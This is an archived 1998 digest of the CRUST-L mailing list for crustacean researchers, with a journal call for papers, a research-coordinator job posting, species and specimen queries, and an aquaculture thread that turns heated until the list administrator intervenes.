    e-mail tisco@ibm.ve.cnr.it
    <= /HTML> - ------=_NextPart_000_0014_01BD63D6.6A838FC0-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "James T. Carlton" Date: Thu, 09 Apr 1998 06:39:20 -0400 Subject: CRUST-L: Biological Invasions (a new journal): Call For Papers Apologies for cross-postings, but a great many folks are on only one of these lists. Papers are now being accepted for the new journal BIOLOGICAL INVASIONS, to be published by Kluwer Academic Publishers (Netherlands). The Editorial Board includes James Carlton (Editor), Ted Case, Mick Clout, Bruce Coblentz, James Drake, Henri Dumont, Bella Galil, Francesca Gherardi, Peter Kareiva, Mark Lonsdale, Richard Mack, Harold Mooney, Peter Moyle, Petr Pysek, Maria Ribera, David Richardson, Daniel Simberloff, Ronald Thresher, Jeff Waage and Mark Williamson. BIOLOGICAL INVASIONS seeks to publish research papers from many disciplines, and we hope to achieve a broad representation from work done in freshwater, marine, and terrestrial systems. Research papers are welcome on the patterns and processes of biological invasions (including both human-mediated introductions and natural range expansions), the ecological consequences of invasions in terms of both interspecific interactions as well as alterations to community and ecosystem structure (such as energy flow modifications, biodiversity, and invasion-mediated extinction), the factors that influence inoculation, establishment, and persistence of invasions and the mechanisms that control the abundance and distribution of invasions. Papers are further encouraged on biogeography, invasion genetics, dispersal vectors, the evolutionary consequences of invasions, and analytical syntheses and overviews of invasive biotas. Also of interest are papers on the theoretical bases of biocontrol, and the release of genetically modified organisms, as these disciplines illuminate the science of biological invasions. Scholarly papers on management and policy issues as they relate to conservation programs and the global prevention or control of invasions are invited as well. Please note that, relative to biocontrol, a new journal (BIOCONTROL) is also being established by Kluwer, under the editorship of Jeff Waage. The Editor and the members of the Editorial Board will also consider proposals for devoting special issues, or a special section of an issue, to papers resulting from conferences or workshops on invasions. We also intend to have a section on "Research Notes", facilitating rapid publication of short papers on topics such as new techniques, the recording of remarkable new invasions, and so forth. The cover of the journal, which will begin as a quarterly, will have with each issue a new photograph (black-and-white, at the moment, unless funds are available for color production from the authors or their institutions) and thus provide an opportunity for workers to submit cover photos for each issues. There are no page charges, and the first 75 reprints are free. For Instructions to Authors, further technical information about the journal, and a free sample copy (available by December 1998 -- January 1999) please contact: Dr. Rene Mijs Kluwer Academic Publishers Dordrecht, The Netherlands email: rene.mijs@wkap.nl Please submit manuscripts to: Journal Editorial Office: Biological Invasions Kluwer Academic Publishers P. O. Box 990 3300 AZ Dordrecht The Netherlands For information about the scope of the journal and the suitability and types of papers being sought please contact me (address below). We are looking forward to a successful and we think very timely journal! Thank you, and my apologies again for multiple postings. James T. Carlton Editor-in-Chief, Biological Invasions Williams College -- Mystic Seaport P. O. Box 6000, 75 Greenmanville Avenue Mystic, Connecticut 06355 U.S.A. email: jcarlton@williams.edu telephone: 860 572 5359 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Gannon, Andrew T." Date: Thu, 09 Apr 98 13:14:00 PDT Subject: CRUST-L: RE: Dr. Sandra Gilchrist e_address Dr. Sandra Gilchrist's e_address is gilchris@virtu.sar.usf.edu Cheers, Andy Andrew T. Gannon Assistant Professor INTERNET: agannon@bsc.edu Department of Biology VOICEMAIL: (205) 226-4899 Birmingham Southern College FAX: (205) 226-4627 BOX 549022 Birmingham AL 35254 http://panther.bsc.edu/~agannon/ ---------- From: owner-crust-l To: CRUST-L Subject: CRUST-L: e_address Date: Wednesday, April 08, 1998 3:29PM CRUSTers - Does anyone have a current e_address for Dr. Sandra Gilchrist, University of South Flordia at Sarsota? Merci David Dunham ---------------------------------------------------------------------------- --- David W. Dunham dunham@zoo.utoronto.ca Department of Zoology, University of Toronto Toronto, Canada Fax 416-978-8532 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #134 ***************************** From owner-crust-l Fri Apr 17 16:21:30 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id QAA11810 for crust-l-digest-outgoing; Fri, 17 Apr 1998 16:19:18 -0400 Date: Fri, 17 Apr 1998 16:19:18 -0400 Message-Id: <199804172019.QAA11810@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #135 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 9 crust-l-digest Friday, 17 April 1998 Volume 01 : Number 135 CRUST-L: formula of brine shrimp flake CRUST-L: Where is Mandapam Camp ?? CRUST-L: Where is Mandapam Camp ?? CRUST-L: Claw Evolution CRUST-L: Argentinean carcinologists CRUST-L: Position available (fwd) CRUST-L: Query re Formalin substitute CRUST-L: new website CRUST-L: ICC-4 CRUST-L: Aquaculture question CRUST-L: Varunid Recruitment [none] CRUST-L: Re: Reply Aquaculture question Re: CRUST-L: Re: Reply Aquaculture question Re: CRUST-L: Re: Reply Aquaculture question Re: CRUST-L: Re: Reply Aquaculture question ---------------------------------------------------------------------- From: wtctj@mail.zlnet.com.cn Date: Fri, 10 Apr 1998 08:57:16 +0800 Subject: CRUST-L: formula of brine shrimp flake The market for brine shrimp flake in Chinese aquaculture industry is about 400 tons per year. There is a great population of brine shrimp Artemia in China, especially in Tianjin region. The harvest of brine shrimp biomass in Tianjin is about 1,000 tons (fresh weight) in Tianjin. We plan to produce brine shrimp flake. So we are seeking the formula for brine shrimp flake production. Any information is much appreciated. Liu Fengqi =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Pablo J. Lopez-Gonzalez" Date: Mon, 13 Apr 1998 12:53:49 +0000 Subject: CRUST-L: Where is Mandapam Camp ?? Hi all, I am looking for a type material deposited in the Central Marine Fisheries Research Station, Mandapam Camp by Ummerkutty. I will be very gratefull if somebody let me know the postal address, e-mail address or fax number of this institution. Thank you in advance for your help Pablo ********************************************* Dr. Pablo J. Lopez-Gonzalez Laboratorio de Biologia Marina Facultad de Biologia Universidad de Sevilla Aptdo. 1095 E-41080 Sevilla SPAIN ********************************************* Fax: +34-(9)54 55 71 00 Phone: +34-(9)54 23 49 04 E-mail: JLOPEZ@CICA.ES ********************************************* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Pablo J. Lopez-Gonzalez" Date: Mon, 13 Apr 1998 12:54:06 +0000 Subject: CRUST-L: Where is Mandapam Camp ?? Hi all, I am looking for a type material deposited in the Central Marine Fisheries Research Station, Mandapam Camp by Ummerkutty. I will be very gratefull if somebody let me know the postal address, e-mail address or fax number of this institution. Thank you in advance for your help Pablo ********************************************* Dr. Pablo J. Lopez-Gonzalez Laboratorio de Biologia Marina Facultad de Biologia Universidad de Sevilla Aptdo. 1095 E-41080 Sevilla SPAIN ********************************************* Fax: +34-(9)54 55 71 00 Phone: +34-(9)54 23 49 04 E-mail: JLOPEZ@CICA.ES ********************************************* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Anna Fitch Date: Mon, 13 Apr 1998 14:29:40 -0800 Subject: CRUST-L: Claw Evolution Another notice from the Shape of Life. I'm very interested in stories, research or people working on claw evolution. Any input on this subject is much appreciated. Thank you very much. Anna Anna Fitch Sea Studios 810 Cannery Row Monterey, CA 93940 Tel: 408 649-5152 ext.105 Fax: 408 649-1380 email: annafitch@seastudios.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Gustavo A. Lovrich" Date: Tue, 14 Apr 1998 11:20:54 ARG Subject: CRUST-L: Argentinean carcinologists Dear Crusters, This is a message to Argentinean carcinologists around the world and (or) people working on Crustacea in Argentina or probably distributed in Argentina. As occurs every year, Eduardo Spivak and me are compiling all the articles (primary, but very specially grey literature and citable reports) appeared in 1997, dealing with Crustacea distributed in Argentina OR those published by Argentinean carcinologists elsewhere. Please send me a message with the citation of the articles you know. Muchas gracias, Gustavo Dr. Gustavo A. Lovrich Centro Austral de Investigaciones Cientificas (CADIC) CC 92 - (9410) Ushuaia, Tierra del Fuego, ARGENTINA Tel: ++54-901-22310, 22314, 22278 34558 (home sweet home) FAX: ++54-901-30644 http://www.hq.satlink.com/ushuaia/cadic/ lovrich@satlink.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 15 Apr 1998 11:53:45 -0400 (EDT) Subject: CRUST-L: Position available (fwd) Please respond to Dave Bushek and not to me. Thanks, Jeff - ---------- Forwarded message ---------- Date: Wed, 15 Apr 1998 09:33:56 -0400 From: David Bushek Subject: Position available Research Coordinator, North Inlet-Winyah Bay National Estuarine Research Reserve Applications are being accepted for the position of Research Coordinator at the North Inlet-Winyah Bay (NI-WB) NERR. The NI-WB Reserve is operated by the University of South Carolina through the Baruch InstituteUs Marine Field Laboratory in Georgetown. It is one of 22 sites in the nation comprising the NERR System. The Reserves are jointly funded by NOAA and state governments to conduct research and monitoring in estuaries and to provide information useful to coastal resource and ecosystem management. The Research Coordinator will be expected to: (1) oversee and expand a long-term, multi-disciplinary, coastal-estuarine monitoring program, (2) coordinate existing and promote new research activities at the site, (3) facilitate the use of scientific information for management purposes, (4) participate in education, research, and administration programs at the site, state, regional, and network levels, and (5) conduct independent research within the Reserve and seek external funding. Two additional responsibilities will be to: (6) develop a comprehensive site profile document and (7) analyze and interpret extant long-term databases. A Ph.D. degree with a background in ecology and a familiarity with coastal systems is required. Advanced knowledge in the use of computers and data (statistical) analysis and a demonstrated ability to present and publish results are necessary. Candidates with a commitment to field-based research and the application of scientific information to management issues will be favored. Strong organizational and communication skills are important. The position includes administrative responsibilities including supervision of technical staff. The appointment will be on an annual basis for at least three years. An appointment to the faculty of the Baruch Institute as a Research Assistant Professor will be considered. Salary will be commensurate with experience; the range is from $28,000 to $36,000 plus benefits. The term of the appointment may be from 9 to 12 months per year with the option of generating supplemental salary through independent grants. Applications should include a statement of interest, resume, and names of three potential references. We will begin reviewing applications on April 27. The position is available July 1, 1998. Please send materials to: Dr. Dennis M. Allen, Manager, North Inlet-Winyah Bay NERR, Baruch Marine Field Laboratory - USC, PO Box 1630, Georgetown, SC 29442. You may contact him at 803-546-3623 for more information. The University of South Carolina is an equal opportunity employer. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Dean Pasko Date: Wed, 15 Apr 1998 09:01:40 -0700 Subject: CRUST-L: Query re Formalin substitute Hello, I have heard of a new product called 'Normalin' that is alcohol based and is supposed to replace formalin. Has anyone heard of it or had any experience with it? Thanks Dean +++++++++++++++++++++++++++++++++++++++++ Dean Pasko City of San Diego, Marine Biology Lab 4918 N. Harbor Drive, Suite 101 San Diego, CA 92106 Ph (619) 692-4900 Fax: (619) 692-4902 email: dip@mwharbor.sannet.gov =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Raymond Bauer Date: Wed, 15 Apr 1998 16:45:19 -0500 Subject: CRUST-L: new website I have a website about my research that colleagues might find interesting: http://www.ucs.usl.edu/~rtb6933 - -- Raymond T. Bauer Research Website: http://www.ucs.usl.edu/~rtb6933 Professor of Biology Dept. of Biology University of Southwestern Louisiana Lafayette, Louisiana 70504-2451 USA email: rtbauer@usl.edu 318-482-6435 (phone) 318-482-5834 (fax) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: schram@BIO.UVA.NL (Frederick Schram) Date: Thu, 16 Apr 1998 08:40:47 +0100 Subject: CRUST-L: ICC-4 Could you please insert this item concerning ICC-4 business on the net. ________________________ FOURTH INTERNATIONAL CRUSTACEAN CONGRESS NEWS BRIEF As a follow-up to the announcement of last week, proper targeting for submission of final manuscripts needs to be clarified. Many of us have just managed to get our abstracts out and are now only beginning to think of registration and hotel needs. However, some of our more organized colleagues have already begun to submit manuscripts for consideration in the proceedings volumes of the congress that will come out next year. These too seem to be coming to Amsterdam, but to send them here only delays the log-in process and risks loss in the mails. We have to re-package them and send them on the chairman of the proceedings committee and chief-editor of the proceedings volumes, Dr. Carel von Vaupel Klein. Manuscripts for consideration in the ICC-4 proceedings volumes should be posted directly to him: Dr. Carel von Vaupel Klein National Natural History Museum Post Box 9517 NL-2300 RA Leiden The Netherlands _________________________________ ___________________________________________ Frederick R. Schram Professor of Systematics and Zoogeography Institute for Systematics and Population Biology University of Amsterdam Post Box 94766 NL-1090 GT Amsterdam Netherland phone +(31.20)525.6435 fax +(31.20)525-5402 e-mail schram@bio.uva.nl www.bio.uva.nl/onderzoek/cepa also check out: www.uva.nl/uva/aktueel/congres/crustacean.html ___________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Chris J. Higham" Date: Thu, 16 Apr 1998 23:22:27 -0400 (EDT) Subject: CRUST-L: Aquaculture question Hello I have 114 acres of shallow (5-8 ft deep on average) bottom land (mostly sand/mud) on the west coast of Florida, some of which is being used to culture clams. I want to culture something else in the bottom land that is not being used (about 104 acres) which I can make a profit off of. Whether it is a food item (blue or stone crab) or something else, I am open for suggestions on possible uses for this bottom land. Any ideas or discussion would be greatly appreciated. Thanks Chris Higham =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Brent Newman zool Date: Fri, 17 Apr 1998 13:54:29 +0000 (SAST) Subject: CRUST-L: Varunid Recruitment Fellow Members We have been investigating several apsects of the recruitment of Varuna littorata here in South Africa. This crab lives in the lower reaches of rivers but has still retained a larval phase of development which occurs at sea. The recruitment of megalopae of this species is spectacular with thousands upon thousands of individuals clearly visible swimming through estuary mouths and upstream. At weirs and other impoundments in rivers huge masses of the megalopae can be found. The megalopae are by crabs standards very large which makes these events even more spectacular. I have several questions regarding varunid recruitment. Has anyone witnessed such intense recruitment for other varunid crabs? What about other crabs? Is there any literature available on such recruitment? I recall reading a paper on such recruitment and I think that it had to do with a Varuna spp, but I cannot trace the paper. Further, we hope to rear the larvae of this crab but are having some problems finding gravid females. There appear to be none in the freshwater regions of the rivers. I have captured several females swimming out of the mouths of estuaries but none of them have been gravid. Could these crabs have been leaving the estuary for the sea to extrude eggs? Is anyone aware of what type of habitat these crabs would extrude eggs and release larvae? I presume it would need to occur in the lower reaches of estuaries as the probable reason that the larvae leave estuaries is because the larvae are unable to tolerate the low salinities in these systems. Is anyone aware of any publications dealing with Varuna spp larvae? Jose Cuesta has informed me that as far as he is aware there is almost no information on the larval stages of the Varuna spp. I would also appreciate any leads to papers dealing with adult ecology and biology. Yours Brent Brent Newman Dept of Zoology University of Zululand Private Bag x 1001 KwaDlangezwa 3886 Kwazulu_Natal South Africa =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Gudmundur Vidir Helgason Date: Fri, 17 Apr 1998 14:22:43 +0100 Subject: [none] First Call for Proposals Access to the Large Scale Facility Sandgerdi Marine Centre The Sandgerdi Marine Centre in Iceland has been granted the status of Large Scale Facility under the TMR programme of the European Commission. The main attraction of the SMC is access to the unique collection of benthic invertebrates from the international BIOICE project (Benthic Invertebrates of Icelandic Waters) which has been operated since 1992. During this time more than 1000 composite samples have been systematically collected in Icelandic waters, at depths from 20 to 2400m. The collection of samples is still in progress. The initial stages of sorting have been carried out, providing an accessible array of most major taxa of benthic invertebrates. The SMC also offers access to a wet-lab with running seawater of exceptional quality. This seawater (constantly 9=B0C, salinity 32.05 PSU) originates= from a well at 50m depth in the lava-field and is totally contaminant-free.=20 The SMC is located in Sandgerdi, a small fishing village on the southwest coast of Iceland (50 km from the capital city, Reykjavik) with excellent facilities for work in a friendly atmosphere. The seashore around the lab harbours a great variety of shore organisms which are easily attainable during low tide (approximately 3.5 m tidal range). =20 For further information and application forms see our web site http://www.hi.is/pub/smc.=20 Scientists from CEC member states and associated states (Norway, Liechtenstein and Israel; Switzerland in negotiation) except from Iceland may submit proposals. Proposals for the first call should be sent as soon as possible, but by 31.05.1998 at the latest, to the Project Manager of The Sandgerdi Marine Centre (Gudmundur V. Helgason, Institute of Biology, University of Iceland, Grensasvegur 12, IS-108 Reykjavik, Iceland, E-mail: gudmvid@hi.is). =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Jack O'Brien" Date: Fri, 17 Apr 1998 10:40:58 -0500 Subject: CRUST-L: Re: Reply Aquaculture question Dear Chris: Your question about how to use the 100 acres of Florida bottom land that you own and which "is not being used" is legitimate and reasonable. Please do not think that my reply is meant to be mean spirited, but having been a Peace Corps Volunteer in South East Asia and seen what mariculture activities do to natural wetlands ecosystems, my gut reaction to your question is one of spiritual pain. Using dozers to push up earth to entrap bodies of water in which fertilizer is dumped to grow algae which are eaten by harvestable animals such as crabs and fish causes irreversible damage to irreplaceable wetlands. I am not sure the profit margin on such operations in the U.S. would be large. You may not be able to compete. Most shrimp sold in the US is imported in from third world countries where the labor costs are low. Would it be possible to use of the property in way that would minimize habitat damage, such as a restaurant or burger-and-beer place utilizing the view to attract customers? Jack O'Brien =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "William A. Hayes" Date: Fri, 17 Apr 1998 11:13:28 -0500 (CDT) Subject: Re: CRUST-L: Re: Reply Aquaculture question I might further suggest... use a small proportion of the land for something money making as Jack suggests and consider putting the rest of the land in some protective covenant with the government or a private organization. There are a number of programs which will either pay you for the protection of wetland habitat or provide you with tax benefits or both. This approach could turn out the best for all in the long run. Just a thought. > Best wishes, Bill - ---------------------------------------------------------------------------- William A. Hayes, II, Ph.D. | If you follow your bliss, you put yourself Professor of Biology | on a kind of a track that has been there P.O.Box 3234 | the whole while, waiting for you, and the Delta State University | life you ought to be living is the one you Cleveland, MS 38733 | are living. --- Joseph Campbell ph: 601-846-4247 \ _____ ____ fax: 601-846-4016 | \_____ _____/ \ email: bhayes@dsu.deltast.edu | __ \^^/ __ | | ////)\(0= =0)/(\\\\ // ^\| / ^^ \ |/^ \\ - ---------------------------------------------------------------------------- Website - http://okra.deltast.edu/~bhayes/index.html - ---------------------------------------------------------------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Thomas Powell Date: Fri, 17 Apr 1998 15:53:32 -0400 Subject: Re: CRUST-L: Re: Reply Aquaculture question Jack: get a grip and have an idea what you are talking about before you offer advice to someone. This is the United States that you live in. The country with the most advanced aquaculture systems in the world. You go get drunk and leave this list to professionals who know what they are talking about. How absurd that you have the .edu after your email address. And "Peace Corps Volunteer in South East Asia" qualifies you for nothing but a spoiled child that has recently joined an email list to disrupt a progressive industry that does not like to get its influence from those that have no idea of the industries of "sustainable aquaculture". Don't bother quoting me or anyone else on this list what you have seen in other countries. You know nothing, while you eat shrimp imported from other countries that destroy their land. Take a hike or stay in your beer bottle. no regards, Tom Powell - -- ****************************************************************************************** Thomas D. Powell Florida International Shrimp Harvesters 7002 Grevilla Avenue, South #10 South Pasadena, Florida 33707 (813) 381-5236 381-5246 Fax 529-7364 Pager shrimp@food4u.com topoco@ij.net Web sites: http://www.ij.net/topoco/ http://www.ij.net/topoco/fishforsale.htm http://www.ij.net/topoco/Helicopterpartsforsale.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 17 Apr 1998 16:18:35 -0400 (EDT) Subject: Re: CRUST-L: Re: Reply Aquaculture question Thomas, Jack, Chris, CRUSTers, Please quash this thread before it goes balistic, and take any further criticisms to private responses. Thank you. Jeff Shields List Administrator On Fri, 17 Apr 1998, Thomas Powell wrote: > Jack: get a grip and have an idea what you are talking about before you > offer advice to someone. This is the United States that you live in. > The country with the most advanced aquaculture systems in the world. > You go get drunk and leave this list to professionals who know what they > are talking about. How absurd that you have the .edu after your email > address. And "Peace Corps Volunteer in South East Asia" qualifies you > for nothing but a spoiled child that has recently joined an email list > to disrupt a progressive industry that does not like to get its > influence from those that have no idea of the industries of "sustainable > aquaculture". > > Don't bother quoting me or anyone else on this list what you have seen > in other countries. You know nothing, while you eat shrimp imported > from other countries that destroy their land. Take a hike or stay in > your beer bottle. > > no regards, > > Tom Powell > -- > ****************************************************************************************** > Thomas D. Powell > Florida International Shrimp Harvesters > 7002 Grevilla Avenue, South #10 > South Pasadena, Florida 33707 > (813) 381-5236 > 381-5246 Fax > 529-7364 Pager > shrimp@food4u.com > topoco@ij.net > 